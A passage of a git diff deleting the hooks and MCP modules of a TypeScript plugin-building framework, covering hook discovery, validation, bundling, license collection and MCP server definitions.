=> a.localeCompare(b, 'en')); - if (noticeFiles.length === 0) - throw new Error(`Bundled dependency ${manifest.name}@${manifest.version} has no license or notice file.`); - return { - name: manifest.name, - version: manifest.version, - license: typeof manifest.license === 'string' ? manifest.license : 'UNKNOWN', - notices: await Promise.all(noticeFiles.map(async name => ({ - name, - text: (await fs.readFile(path.join(directory, name), 'utf8')).trimEnd(), - }))), - }; - } - } catch (error) { - if ((error as NodeJS.ErrnoException).code !== 'ENOENT') - throw error; - } - directory = path.dirname(directory); - } - throw new Error(`Cannot resolve package metadata for bundled module ${path.basename(normalized)}.`); -} - -/** - * 汇总 Bundle 实际包含的第三方包许可,并写入稳定文本文件。 - * - * @param chunk 唯一的 Rolldown 输出 Chunk。 - * @param directory Handler Bundle 所在目录。 - * @returns 存在第三方依赖时返回许可文件路径,否则返回 undefined。 - */ -async function writeThirdPartyLicenses(chunk: OutputChunk, directory: string): Promise { - /** 按包名和版本去重的许可记录。 */ - const records = new Map(); - for (const moduleId of Object.keys(chunk.modules).sort((a, b) => a.localeCompare(b, 'en'))) { - /** 当前 Bundle Module 所属的可选第三方包许可。 */ - const record = await packageLicenseForModule(moduleId); - if (record) - records.set(`${record.name}@${record.version}`, record); - } - if (records.size === 0) - return undefined; - /** 按确定顺序拼接的许可文件段落。 */ - const sections = ['THIRD-PARTY LICENSES']; - for (const [id, record] of [...records].sort(([a], [b]) => a.localeCompare(b, 'en'))) { - sections.push(`## ${id}\nSPDX: ${record.license}`); - for (const notice of record.notices) - sections.push(`### ${notice.name}\n${notice.text}`); - } - /** 与 Handler 一同发布的第三方许可文件路径。 */ - const destination = path.join(directory, 'THIRD_PARTY_LICENSES.txt'); - await fs.writeFile(destination, `${sections.join('\n\n')}\n`); - return destination; -} - -/** - * 扫描 `src/hooks//hook.ts` 并执行带品牌校验的 TypeScript 定义。 - * - * @param context Core 提供的 discover 上下文与 TypeScript 加载器。 - * @returns 按 Hook ID 稳定排序的有效定义。 - */ -async function discover(context: ModuleDiscoverContext): Promise { - /** Hooks Module 拥有的固定源码根目录。 */ - const root = path.join(context.config.srcDir, 'hooks'); - /** Hook 根目录的一级目录项。 */ - let entries: import('node:fs').Dirent[]; - try { - entries = await fs.readdir(root, { withFileTypes: true }); - } catch (error) { - if ((error as NodeJS.ErrnoException).code === 'ENOENT') - return []; - throw error; - } - /** 成功加载并通过品牌校验的 Hook。 */ - const result: DiscoveredHook[] = []; - for (const entry of entries.sort((a, b) => a.name.localeCompare(b.name, 'en'))) { - /** 当前 Hook 候选目录的绝对路径。 */ - const directory = path.join(root, entry.name); - if (!entry.isDirectory() || !ID_PATTERN.test(entry.name)) { - context.diagnostics.error('HOOK_ENTRY_INVALID', 'Hook entries must be one-level lowercase kebab-case directories.', { - phase: 'discover', module: HOOKS_MODULE_NAME, - location: { path: path.relative(context.config.root, directory).split(path.sep).join('/') }, - }); - continue; - } - /** 当前 Hook 必需的 TypeScript 描述文件。 */ - const sourcePath = path.join(directory, 'hook.ts'); - try { - /** Jiti 执行并解包后的 Hook 定义候选值。 */ - const definition = unwrapDefault(await context.loadTypeScriptModule(sourcePath)); - if (!definition || typeof definition !== 'object' || (definition as { __acpluginHook?: boolean }).__acpluginHook !== true) - throw new Error('hook.ts must default-export defineHook(...).'); - result.push({ id: entry.name, directory, sourcePath, definition: definition as HookDefinition }); - } catch { - context.diagnostics.error('HOOK_LOAD_FAILED', `Hook ${entry.name} descriptor could not be loaded.`, { - phase: 'discover', module: HOOKS_MODULE_NAME, - location: { path: path.relative(context.config.root, sourcePath).split(path.sep).join('/') }, - }); - } - } - return result; -} - -/** - * 验证 Hook 事件、运行函数、Matcher 和跨目标超时约束。 - * - * @param context Core 提供的项目、目标与诊断上下文。 - * @param hooks discover 阶段成功加载的 Hook。 - */ -async function validate(context: ModuleValidateContext, hooks: DiscoveredHook[]): Promise { - for (const hook of hooks) { - /** 当前 Hook 已加载但尚未完成语义校验的定义。 */ - const { definition } = hook; - if (!ALL_EVENTS.has(definition.event)) - context.diagnostics.error('HOOK_EVENT_UNSUPPORTED', `Hook ${hook.id} uses unsupported event ${String(definition.event)}.`, { phase: 'validate', module: HOOKS_MODULE_NAME }); - if (typeof definition.run !== 'function') - context.diagnostics.error('HOOK_RUN_REQUIRED', `Hook ${hook.id} must define run().`, { phase: 'validate', module: HOOKS_MODULE_NAME }); - if (definition.matcher !== undefined && typeof definition.matcher !== 'string') - context.diagnostics.error('HOOK_MATCHER_INVALID', `Hook ${hook.id} matcher must be a string.`, { phase: 'validate', module: HOOKS_MODULE_NAME }); - if (definition.matcher) { - try { - new RegExp(definition.matcher); - } catch { - context.diagnostics.error('HOOK_MATCHER_INVALID', `Hook ${hook.id} matcher is not a valid regular expression.`, { phase: 'validate', module: HOOKS_MODULE_NAME }); - } - } - if (definition.timeout !== undefined && (!Number.isFinite(definition.timeout) || definition.timeout <= 0)) - context.diagnostics.error('HOOK_TIMEOUT_INVALID', `Hook ${hook.id} timeout must be a positive number of seconds.`, { phase: 'validate', module: HOOKS_MODULE_NAME }); - if (definition.event === 'SessionEnd' && definition.timeout !== undefined && definition.timeout > 3 && context.config.targets.some(target => target.id === 'codex')) - context.diagnostics.error('HOOK_TIMEOUT_TARGET_LIMIT', `Hook ${hook.id} exceeds Codex SessionEnd's 3 second maximum.`, { phase: 'validate', module: HOOKS_MODULE_NAME, target: 'codex' }); - } -} - -/** - * 生成单个 Hook 的跨平台隔离运行器源码。 - * - * 运行器负责限制输入输出大小、规范化平台字段、校验事件结果并把规范决策映射回平台协议。 - * 生成字符串内部是最终 Plugin 运行时代码,按仓库规范不机械注入开发期中文注释。 - * - * @param hook 当前 Hook 定义及其源码路径。 - * @param target 正在生成的目标平台。 - * @param runnerDirectory 临时运行器目录,用于计算可打包的相对导入路径。 - * @returns 可交给 Rolldown 的 ESM 入口源码。 - */ -function runnerSource(hook: DiscoveredHook, target: TargetId, runnerDirectory: string): string { - /** 从生成运行器到用户 hook.ts 的 ESM 相对导入路径。 */ - let importPath = path.relative(runnerDirectory, hook.sourcePath).split(path.sep).join('/'); - if (!importPath.startsWith('.')) - importPath = `./${importPath}`; - return ` -const TARGET = ${JSON.stringify(target)}; -const MAX_BYTES = 1024 * 1024; -const EVENT_RESULTS = { - SessionStart: { decisions: ['continue', 'stop'], fields: ['additionalContext'] }, - SessionEnd: { decisions: [], fields: [] }, - UserPromptSubmit: { decisions: ['allow', 'deny'], fields: ['reason', 'additionalContext'] }, - PreToolUse: { decisions: ['allow', 'deny'], fields: ['reason', 'updatedInput', 'additionalContext'] }, - PermissionRequest: { decisions: ['allow', 'deny', 'defer'], fields: ['reason'] }, - PostToolUse: { decisions: ['pass', 'block'], fields: ['reason', 'additionalContext'] }, - PreCompact: { decisions: ['continue', 'stop'], fields: [] }, - PostCompact: { decisions: ['continue', 'stop'], fields: [] }, - SubagentStart: { decisions: [], fields: ['additionalContext'] }, - SubagentStop: { decisions: ['finish', 'continue'], fields: ['reason'] }, - Stop: { decisions: ['finish', 'continue'], fields: ['reason'] }, -}; - -function camel(key) { - return key.replace(/_([a-z])/g, (_, letter) => letter.toUpperCase()); -} - -function normalize(value) { - if (Array.isArray(value)) return value.map(normalize); - if (value && typeof value === 'object') { - return Object.fromEntries(Object.entries(value).map(([key, child]) => [camel(key), normalize(child)])); - } - return value; -} - -function validateResult(event, result) { - if (result === undefined) return; - if (!result || typeof result !== 'object' || Array.isArray(result)) throw new Error('RESULT_INVALID'); - const contract = EVENT_RESULTS[event] || { decisions: [], fields: [] }; - const allowedFields = new Set(['decision', 'systemMessage', ...contract.fields]); - if (Object.keys(result).some(field => !allowedFields.has(field))) throw new Error('RESULT_FIELD_INVALID'); - for (const field of ['reason', 'additionalContext', 'systemMessage']) { - if (result[field] !== undefined && typeof result[field] !== 'string') throw new Error('RESULT_INVALID'); - } - if (result.decision !== undefined && !contract.decisions.includes(result.decision)) throw new Error('RESULT_DECISION_INVALID'); -} - -function outputFor(event, result) { - if (!result) return undefined; - const output = {}; - if (result.systemMessage) output.systemMessage = result.systemMessage; - if (event === 'PreToolUse') { - if (result.decision === 'allow' || result.decision === 'deny') { - output.hookSpecificOutput = { - hookEventName: event, - permissionDecision: result.decision, - ...(result.reason ? { permissionDecisionReason: result.reason } : {}), - ...(result.updatedInput === undefined ? {} : { updatedInput: result.updatedInput }), - ...(result.additionalContext ? { additionalContext: result.additionalContext } : {}), - }; - } else if (result.additionalContext) { - output.hookSpecificOutput = { hookEventName: event, additionalContext: result.additionalContext }; - } - } else if (event === 'PermissionRequest') { - if (result.decision === 'allow' || result.decision === 'deny') { - output.hookSpecificOutput = { - hookEventName: event, - decision: { behavior: result.decision, ...(result.reason ? { message: result.reason } : {}) }, - }; - } else if (result.decision === 'defer' && result.reason && !output.systemMessage) { - output.systemMessage = result.reason; - } - } else if (event === 'PostToolUse') { - if (result.decision === 'block') { - output.decision = 'block'; - output.reason = result.reason || 'Blocked by hook.'; - } - if (result.additionalContext) - output.hookSpecificOutput = { hookEventName: event, additionalContext: result.additionalContext }; - } else if (event === 'UserPromptSubmit') { - if (result.decision === 'deny') { - output.decision = 'block'; - output.reason = result.reason || 'Blocked by hook.'; - } - if (result.additionalContext) - output.hookSpecificOutput = { hookEventName: event, additionalContext: result.additionalContext }; - } else if (event === 'Stop' || event === 'SubagentStop') { - if (result.decision === 'continue') { - output.decision = 'block'; - output.reason = result.reason || 'Continue before stopping.'; - } - } else if (event === 'SessionStart' || event === 'PreCompact' || event === 'PostCompact') { - if (result.decision === 'stop') { - output.continue = false; - if (result.reason) output.stopReason = result.reason; - } - if (result.additionalContext) - output.hookSpecificOutput = { hookEventName: event, additionalContext: result.additionalContext }; - } else if (event === 'SubagentStart' && result.additionalContext) { - output.hookSpecificOutput = { hookEventName: event, additionalContext: result.additionalContext }; - } - return Object.keys(output).length ? output : undefined; -} - -async function main() { - let definition; - try { - ({ default: definition } = await import(${JSON.stringify(importPath)})); - } catch { - throw new Error('HANDLER_IMPORT_FAILED'); - } - let source = ''; - for await (const chunk of process.stdin) { - source += chunk; - if (Buffer.byteLength(source) > MAX_BYTES) throw new Error('INPUT_TOO_LARGE'); - } - let raw; - try { - raw = JSON.parse(source); - } catch { - throw new Error('INPUT_JSON_INVALID'); - } - if (!raw || typeof raw !== 'object' || Array.isArray(raw)) throw new Error('INPUT_OBJECT_REQUIRED'); - if (raw.hook_event_name !== definition.event) throw new Error('INPUT_EVENT_MISMATCH'); - const normalized = normalize(raw); - normalized.event = raw.hook_event_name; - let result; - try { - result = await definition.run(normalized, { - target: TARGET, - pluginRoot: process.env.PLUGIN_ROOT || process.env.CLAUDE_PLUGIN_ROOT || '', - pluginData: process.env.PLUGIN_DATA || process.env.CLAUDE_PLUGIN_DATA || '', - }); - } catch { - throw new Error('HANDLER_FAILED'); - } - validateResult(raw.hook_event_name, result); - const output = outputFor(raw.hook_event_name, result); - if (output) { - let serialized; - try { - serialized = JSON.stringify(output); - } catch { - throw new Error('RESULT_SERIALIZATION_FAILED'); - } - if (Buffer.byteLength(serialized) > MAX_BYTES) throw new Error('OUTPUT_TOO_LARGE'); - process.stdout.write(serialized + '\\n'); - } -} - -main().catch((error) => { - const code = error instanceof Error && /^[A-Z_]+$/.test(error.message) ? error.message : 'HOOK_FAILED'; - process.stderr.write('acplugin hook error: ' + code + '\\n'); - process.exitCode = 1; -}); -`; -} - -/** - * 将用户 Hook 及框架运行器打包为单文件目标 Handler,并收集第三方许可。 - * - * @param hook 待打包的 Hook。 - * @param target 当前目标平台。 - * @param workDir Module 在本次构建中的隔离工作目录。 - * @returns 可由 generate 阶段贡献的 Handler 与可选许可文件。 - */ -async function bundleHook(hook: DiscoveredHook, target: TargetId, workDir: string): Promise { - /** 当前 Hook 和目标独占的 Bundle 工作目录。 */ - const targetDirectory = path.join(workDir, hook.id, target); - await fs.mkdir(targetDirectory, { recursive: true }); - /** 动态生成、导入用户 Hook 的 Rolldown 入口。 */ - const runner = path.join(targetDirectory, 'runner.mjs'); - await fs.writeFile(runner, runnerSource(hook, target, targetDirectory)); - /** 保留 Node 内置模块为 external 的内存构建结果。 */ - const output = await rolldownBuild({ - input: runner, - platform: 'node', - external: [/^node:/], - write: false, - output: { format: 'esm', sourcemap: false, codeSplitting: false, comments: { legal: true } }, - }); - /** 构建产生的 JavaScript Chunk;协议要求严格只有一个。 */ - const chunks = output.output.filter((item): item is OutputChunk => item.type === 'chunk'); - if (chunks.length !== 1 || output.output.some(item => item.type === 'asset')) - throw new Error(`Hook ${hook.id} must bundle to one JavaScript chunk and no assets.`); - /** 最终贡献给 Plugin 的独立 ESM Handler。 */ - const bundle = path.join(targetDirectory, 'handler.mjs'); - await fs.writeFile(bundle, chunks[0]!.code); - /** Bundle 包含第三方依赖时生成的许可汇总。 */ - const licenses = await writeThirdPartyLicenses(chunks[0]!, targetDirectory); - return licenses ? { handler: bundle, licenses } : { handler: bundle }; -} - -/** - * 为每个 Hook 和支持它的目标预构建独立 Handler。 - * - * @param context Core 提供的 Module 工作目录与目标配置。 - * @param hooks 已通过验证的 Hook。 - * @returns 按 Hook 与目标索引的 Bundle 状态。 - */ -async function build(context: ModuleBuildContext, hooks: DiscoveredHook[]): Promise { - /** 全部 Hook 的按目标 Bundle 索引。 */ - const bundles = new Map>(); - for (const hook of hooks) { - /** 当前 Hook 在支持目标上的 Bundle。 */ - const targetBundles = new Map(); - for (const target of context.config.targets) { - if (target.id === 'codex' && CLAUDE_ONLY_HOOK_EVENTS.includes(hook.definition.event as ClaudeOnlyHookEvent)) - continue; - targetBundles.set(target.id, await bundleHook(hook, target.id, context.workDir)); - } - bundles.set(hook.id, targetBundles); - } - return { bundles }; -} - -/** - * 计算单个 Hook 在目标平台上的原生、降级或不支持结论。 - * - * @param hook 已验证的 Hook。 - * @param target 当前目标平台。 - * @returns 供 strict 策略和构建报告使用的兼容性条目。 - */ -function compatibilityFor(hook: DiscoveredHook, target: TargetId): CompatibilityEntry[] { - if (target === 'codex' && CLAUDE_ONLY_HOOK_EVENTS.includes(hook.definition.event as ClaudeOnlyHookEvent)) { - return [{ - target, - subject: `hook:${hook.id}`, - capability: `event.${hook.definition.event}`, - level: 'unsupported', - reason: `${hook.definition.event} is currently a Claude Code-only event.`, - }]; - } - if (target === 'codex' && hook.definition.matcher !== undefined && (hook.definition.event === 'UserPromptSubmit' || hook.definition.event === 'Stop')) { - return [{ - target, - subject: `hook:${hook.id}`, - capability: 'matcher', - level: 'degraded', - reason: `Codex ignores matcher for ${hook.definition.event}.`, - }]; - } - return [{ - target, - subject: `hook:${hook.id}`, - capability: `event.${hook.definition.event}`, - level: 'native', - reason: `${target} supports local command handlers for ${hook.definition.event}.`, - }]; -} - -/** - * 为目标平台贡献 Hook Handler、许可文件和平台 Hook 清单。 - * - * @param context 当前目标的 generate 上下文。 - * @param hooks discover 阶段得到的 Hook。 - * @param built build 阶段产生的 Bundle 索引。 - * @returns 交给 Compiler 合并的 Artifact 和兼容性条目。 - */ -async function generate( - context: ModuleGenerateContext, - hooks: DiscoveredHook[], - built: BuiltHooksState, -): Promise { - if (hooks.length === 0) - return {}; - /** 当前目标需要加入 ArtifactGraph 的 Hook 文件。 */ - const artifacts = []; - /** 按平台事件名分组的命令 Handler 配置。 */ - const hookGroups: Record = {}; - for (const hook of hooks) { - /** 当前 Hook 在目标平台上已构建的可选 Bundle。 */ - const bundle = built.bundles.get(hook.id)?.get(context.target); - if (!bundle) - continue; - artifacts.push({ path: `hooks/${hook.id}/handler.mjs`, source: { type: 'file' as const, path: bundle.handler }, mode: 0o755 as const }); - if (bundle.licenses) - artifacts.push({ path: `hooks/${hook.id}/THIRD_PARTY_LICENSES.txt`, source: { type: 'file' as const, path: bundle.licenses }, mode: 0o644 as const }); - /** 目标平台在安装运行时提供的 Plugin 根目录环境变量。 */ - const rootVariable = context.target === 'codex' ? 'PLUGIN_ROOT' : 'CLAUDE_PLUGIN_ROOT'; - /** 平台清单中调用独立 Node Handler 的命令配置。 */ - const handler: Record = { - type: 'command', - command: `node "\${${rootVariable}}/hooks/${hook.id}/handler.mjs"`, - }; - if (hook.definition.timeout !== undefined) - handler.timeout = hook.definition.timeout; - if (hook.definition.statusMessage !== undefined) - handler.statusMessage = hook.definition.statusMessage; - /** 可选携带 matcher 的单 Handler 事件组。 */ - const group: Record = { hooks: [handler] }; - if (hook.definition.matcher !== undefined) - group.matcher = hook.definition.matcher; - (hookGroups[hook.definition.event] ??= []).push(group); - } - if (Object.keys(hookGroups).length > 0) - artifacts.push(bytesArtifact('hooks/hooks.json', stableJson({ hooks: hookGroups }))); - return { - artifacts, - compatibility: hooks.flatMap(hook => compatibilityFor(hook, context.target)), - }; -} - -/** - * 创建参与 discover、validate、build 和 generate 阶段的官方 Hooks Module。 - * - * @returns 可直接加入 acplugin.config.ts modules 数组的 Module。 - */ -export function hooks(): AcpluginModule { - return { - name: HOOKS_MODULE_NAME, - discover, - validate, - build, - generate, - }; -} - -/** 官方 Hooks Module 工厂的默认导出。 */ -export default hooks; diff --git a/packages/module-hooks/tsdown.config.ts b/packages/module-hooks/tsdown.config.ts deleted file mode 100644 index 475b1a5..0000000 --- a/packages/module-hooks/tsdown.config.ts +++ /dev/null @@ -1,16 +0,0 @@ -import { defineConfig } from 'tsdown'; -import { fileURLToPath } from 'node:url'; - -// 公开 Hooks Module 保持主包为 Peer Dependency,并在构建后执行发布结构检查。 -export default defineConfig({ - entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], - format: ['esm'], - platform: 'node', - target: 'node20', - dts: { generator: 'oxc' }, - clean: true, - sourcemap: false, - publint: true, - attw: { profile: 'esm-only', level: 'error' }, - deps: { neverBundle: ['@tokenroll/acplugin'] }, -}); diff --git a/packages/module-mcp/README.md b/packages/module-mcp/README.md deleted file mode 100644 index 8df7864..0000000 --- a/packages/module-mcp/README.md +++ /dev/null @@ -1,49 +0,0 @@ -# @tokenroll/acplugin-module-mcp - -Official optional MCP Module for `@tokenroll/acplugin`. It supports portable Streamable HTTP declarations and bundled local stdio servers. - -```ts -// acplugin.config.ts -import { defineConfig } from '@tokenroll/acplugin'; -import mcp from '@tokenroll/acplugin-module-mcp'; - -export default defineConfig({ - name: 'tools-plugin', - version: '1.0.0', - description: 'Portable tools.', - modules: [mcp()], -}); -``` - -Remote server: - -```ts -// src/mcp/docs/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; - -export default defineMcpServer({ - transport: 'http', - url: 'https://example.com/mcp', - auth: { type: 'bearer', env: 'DOCS_TOKEN' }, -}); -``` - -Local server: - -```ts -// src/mcp/local-tools/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; - -export default defineMcpServer({ - transport: 'stdio', - entry: 'server.ts', -}); -``` - -acplugin bundles local Node.js servers and emits platform declarations without reading build-time secret values. Production HTTP endpoints must use HTTPS. - -See the [MCP documentation](https://github.com/TokenRollAI/acplugin#mcp-module) for environment/header mappings and target output details. - -## License - -MIT diff --git a/packages/module-mcp/src/index.ts b/packages/module-mcp/src/index.ts deleted file mode 100644 index 1dd1e68..0000000 --- a/packages/module-mcp/src/index.ts +++ /dev/null @@ -1,538 +0,0 @@ -import { promises as fs } from 'node:fs'; -import path from 'node:path'; -import { build as rolldownBuild, type OutputChunk } from 'rolldown'; -import { - bytesArtifact, - stableJson, - type AcpluginModule, - type ArtifactInput, - type ModuleBuildContext, - type ModuleDiscoverContext, - type ModuleGenerateContext, - type ModuleValidateContext, - type TargetContribution, -} from '@tokenroll/acplugin'; - -/** MCP 官方 Module 的稳定名称,也是诊断和配置依赖使用的唯一 ID。 */ -export const MCP_MODULE_NAME = '@tokenroll/acplugin-module-mcp'; - -/** MCP Header 或环境字段的字面量来源与运行时环境变量来源。 */ -export type ValueSource = { value: string } | { env: string }; - -/** 由 defineMcpServer 注入、供 discover 阶段验证定义来源的品牌字段。 */ -interface McpServerBase { - /** 标识定义已通过官方辅助函数构造。 */ - readonly __acpluginMcpServer: true; -} - -/** 只声明远程端点、不需要用户提供服务端实现的 HTTP MCP Server。 */ -export interface HttpMcpServer extends McpServerBase { - /** 固定为 HTTP 远程传输。 */ - transport: 'http'; - /** MCP Server 的完整 URL。 */ - url: string; - /** 无认证、OAuth 或从环境变量读取 Bearer Token 的认证策略。 */ - auth?: - | { type: 'none' } - | { type: 'oauth'; scopes?: readonly string[] } - | { type: 'bearer'; env: string }; - /** 附加到 HTTP 请求的字面量或环境变量 Header。 */ - headers?: Readonly>; -} - -/** 由项目提供完整本地实现、构建为独立 Node 进程的 stdio MCP Server。 */ -export interface StdioMcpServer extends McpServerBase { - /** 固定为 stdio 本地传输。 */ - transport: 'stdio'; - /** 相对于当前 MCP 目录的入口,默认 `server.ts`。 */ - entry?: string; - /** 传递给本地进程的字面量或宿主环境变量。 */ - env?: Readonly>; -} - -/** 远程 HTTP 声明与本地 stdio 实现组成的 MCP Server 联合类型。 */ -export type McpServerDefinition = HttpMcpServer | StdioMcpServer; -/** 配置作者提供的 MCP 定义,不包含框架品牌字段。 */ -export type McpServerInput = Omit | Omit; - -/** - * 为 MCP 定义提供类型推断,并注入 discover 阶段使用的不可变品牌字段。 - * - * @param definition HTTP 远程声明或 stdio 本地实现配置。 - * @returns 冻结后的完整 McpServerDefinition。 - */ -export function defineMcpServer(definition: McpServerInput): McpServerDefinition { - return Object.freeze({ ...definition, __acpluginMcpServer: true }) as McpServerDefinition; -} - -/** discover 阶段保存的 MCP 描述、目录与已执行定义。 */ -interface DiscoveredMcpServer { - /** 从一级目录名称取得的 MCP Server ID。 */ - id: string; - /** 当前 MCP Server 的绝对源码目录。 */ - directory: string; - /** `mcp.ts` 描述文件的绝对路径。 */ - descriptorPath: string; - /** TypeScript 描述文件执行后得到的 Server 定义。 */ - definition: McpServerDefinition; -} - -/** build 阶段向 generate 阶段传递的本地 stdio Server Bundle。 */ -interface BuiltMcpState { - /** 仅包含需要本地构建的 stdio Server。 */ - bundles: ReadonlyMap; -} - -/** 单个 stdio MCP Server 的独立可执行文件与许可文件。 */ -interface BundledServer { - /** Rolldown 生成的单文件 ESM Server 路径。 */ - server: string; - /** Bundle 包含第三方依赖时生成的合并许可文件。 */ - licenses?: string; -} - -/** MCP 一级目录接受的小写 kebab-case 格式。 */ -const ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; -/** MCP 环境变量引用接受的可移植名称格式。 */ -const ENV_PATTERN = /^[A-Za-z_][A-Za-z0-9_]*$/; - -/** - * 兼容 Jiti 可能返回的模块命名空间或已解包默认导出。 - * - * @param value TypeScript Module 加载结果。 - * @returns 存在 default 时返回 default,否则返回原值。 - */ -function unwrapDefault(value: unknown): unknown { - if (value && typeof value === 'object' && 'default' in value) - return (value as { default: unknown }).default; - return value; -} - -/** Bundle 中一个第三方 npm 包的许可元数据与原始 Notice 文本。 */ -interface PackageLicense { - /** npm 包名。 */ - name: string; - /** npm 包版本。 */ - version: string; - /** package.json 声明的 SPDX 标识或 UNKNOWN。 */ - license: string; - /** 包根目录中发现的 LICENSE/NOTICE 文件。 */ - notices: readonly { name: string; text: string }[]; -} - -/** - * 从 Rolldown Module ID 向上查找所属 npm 包及其许可文件。 - * - * @param moduleId Bundle 图中的原始 Module ID。 - * @returns 第三方 node_modules 文件对应的许可记录;工程源码返回 undefined。 - * @throws 第三方包缺少元数据或许可文件时抛出异常,阻止发布不完整 Bundle。 - */ -async function packageLicenseForModule(moduleId: string): Promise { - /** 移除 Rolldown 查询参数和虚拟模块前缀后的文件路径。 */ - const normalized = moduleId.replace(/\?.*$/, '').replace(/^\0/, ''); - if (!normalized.includes(`${path.sep}node_modules${path.sep}`)) - return undefined; - /** 从模块文件开始向上查找 package.json 的当前目录。 */ - let directory = path.dirname(normalized); - /** 终止向上遍历的文件系统根目录。 */ - const root = path.parse(directory).root; - while (directory !== root) { - try { - /** 当前候选目录中的包清单。 */ - const manifest = JSON.parse(await fs.readFile(path.join(directory, 'package.json'), 'utf8')) as { - name?: unknown; - version?: unknown; - license?: unknown; - }; - if (typeof manifest.name === 'string' && typeof manifest.version === 'string') { - /** 包根目录的一级文件,用于发现法律文本。 */ - const entries = await fs.readdir(directory, { withFileTypes: true }); - /** 按稳定顺序保留的 LICENSE 与 NOTICE 文件名。 */ - const noticeFiles = entries - .filter(entry => entry.isFile() && /^(?:licen[cs]e|notice)(?:\..*)?$/i.test(entry.name)) - .map(entry => entry.name) - .sort((a, b) => a.localeCompare(b, 'en')); - if (noticeFiles.length === 0) - throw new Error(`Bundled dependency ${manifest.name}@${manifest.version} has no license or notice file.`); - return { - name: manifest.name, - version: manifest.version, - license: typeof manifest.license === 'string' ? manifest.license : 'UNKNOWN', - notices: await Promise.all(noticeFiles.map(async name => ({ - name, - text: (await fs.readFile(path.join(directory, name), 'utf8')).trimEnd(), - }))), - }; - } - } catch (error) { - if ((error as NodeJS.ErrnoException).code !== 'ENOENT') - throw error; - } - directory = path.dirname(directory); - } - throw new Error(`Cannot resolve package metadata for bundled module ${path.basename(normalized)}.`); -} - -/** - * 汇总 Bundle 实际包含的第三方包许可,并写入稳定文本文件。 - * - * @param chunk 唯一的 Rolldown 输出 Chunk。 - * @param directory Server Bundle 所在目录。 - * @returns 存在第三方依赖时返回许可文件路径,否则返回 undefined。 - */ -async function writeThirdPartyLicenses(chunk: OutputChunk, directory: string): Promise { - /** 按包名和版本去重的许可记录。 */ - const records = new Map(); - for (const moduleId of Object.keys(chunk.modules).sort((a, b) => a.localeCompare(b, 'en'))) { - /** 当前 Bundle Module 所属的可选第三方包许可。 */ - const record = await packageLicenseForModule(moduleId); - if (record) - records.set(`${record.name}@${record.version}`, record); - } - if (records.size === 0) - return undefined; - /** 按确定顺序拼接的许可文件段落。 */ - const sections = ['THIRD-PARTY LICENSES']; - for (const [id, record] of [...records].sort(([a], [b]) => a.localeCompare(b, 'en'))) { - sections.push(`## ${id}\nSPDX: ${record.license}`); - for (const notice of record.notices) - sections.push(`### ${notice.name}\n${notice.text}`); - } - /** 与 Server 一同发布的第三方许可文件路径。 */ - const destination = path.join(directory, 'THIRD_PARTY_LICENSES.txt'); - await fs.writeFile(destination, `${sections.join('\n\n')}\n`); - return destination; -} - -/** - * 扫描 `src/mcp//mcp.ts` 并执行带品牌校验的 TypeScript 定义。 - * - * @param context Core 提供的 discover 上下文与 TypeScript 加载器。 - * @returns 按 Server ID 稳定排序的有效定义。 - */ -async function discover(context: ModuleDiscoverContext): Promise { - /** MCP Module 拥有的固定源码根目录。 */ - const root = path.join(context.config.srcDir, 'mcp'); - /** MCP 根目录的一级目录项。 */ - let entries: import('node:fs').Dirent[]; - try { - entries = await fs.readdir(root, { withFileTypes: true }); - } catch (error) { - if ((error as NodeJS.ErrnoException).code === 'ENOENT') - return []; - throw error; - } - - /** 成功加载并通过品牌校验的 MCP Server。 */ - const result: DiscoveredMcpServer[] = []; - for (const entry of entries.sort((a, b) => a.name.localeCompare(b.name, 'en'))) { - /** 当前 MCP Server 候选目录的绝对路径。 */ - const directory = path.join(root, entry.name); - if (!entry.isDirectory() || !ID_PATTERN.test(entry.name)) { - context.diagnostics.error('MCP_ENTRY_INVALID', 'MCP entries must be one-level lowercase kebab-case directories.', { - phase: 'discover', module: MCP_MODULE_NAME, - location: { path: path.relative(context.config.root, directory).split(path.sep).join('/') }, - }); - continue; - } - /** 当前 Server 必需的 TypeScript 描述文件。 */ - const descriptorPath = path.join(directory, 'mcp.ts'); - try { - /** Jiti 执行并解包后的 MCP 定义候选值。 */ - const definition = unwrapDefault(await context.loadTypeScriptModule(descriptorPath)); - if (!definition || typeof definition !== 'object' || (definition as { __acpluginMcpServer?: boolean }).__acpluginMcpServer !== true) - throw new Error('mcp.ts must default-export defineMcpServer(...).'); - result.push({ id: entry.name, directory, descriptorPath, definition: definition as McpServerDefinition }); - } catch { - context.diagnostics.error('MCP_DESCRIPTOR_LOAD_FAILED', `MCP ${entry.name} descriptor could not be loaded.`, { - phase: 'discover', module: MCP_MODULE_NAME, - location: { path: path.relative(context.config.root, descriptorPath).split(path.sep).join('/') }, - }); - } - } - return result; -} - -/** - * 验证 Header 或环境映射中的每个值只使用字面量和环境变量之一。 - * - * @param values 待验证的名称到 ValueSource 映射。 - * @param server 当前 MCP Server,用于诊断定位。 - * @param context Core 提供的验证与诊断上下文。 - */ -function validateValueSources( - values: Readonly> | undefined, - server: DiscoveredMcpServer, - context: ModuleValidateContext, -): void { - for (const [name, source] of Object.entries(values ?? {})) { - if (!name || !source || typeof source !== 'object' || (('value' in source) === ('env' in source))) { - context.diagnostics.error('MCP_VALUE_SOURCE_INVALID', `MCP value ${name || ''} must contain exactly one of value or env.`, { - phase: 'validate', module: MCP_MODULE_NAME, - location: { path: path.relative(context.config.root, server.descriptorPath).split(path.sep).join('/') }, - }); - continue; - } - if ('value' in source && typeof source.value !== 'string') - context.diagnostics.error('MCP_LITERAL_INVALID', `${name} literal must be a string.`, { phase: 'validate', module: MCP_MODULE_NAME }); - if ('env' in source && !ENV_PATTERN.test(source.env)) - context.diagnostics.error('MCP_ENV_INVALID', `${name} environment name is invalid.`, { phase: 'validate', module: MCP_MODULE_NAME }); - } -} - -/** - * 验证远程 HTTP 安全策略或本地 stdio 入口与环境变量约束。 - * - * production 强制 HTTPS;development 仅允许 HTTPS 或 loopback HTTP。本地入口必须留在 - * 自己的 MCP 目录中,并且是普通非符号链接文件。 - * - * @param context Core 提供的项目、模式与诊断上下文。 - * @param servers discover 阶段成功加载的 MCP Server。 - */ -async function validate(context: ModuleValidateContext, servers: DiscoveredMcpServer[]): Promise { - for (const server of servers) { - /** 当前 Server 已加载但尚未完成语义校验的定义。 */ - const definition = server.definition; - if (definition.transport === 'http') { - /** 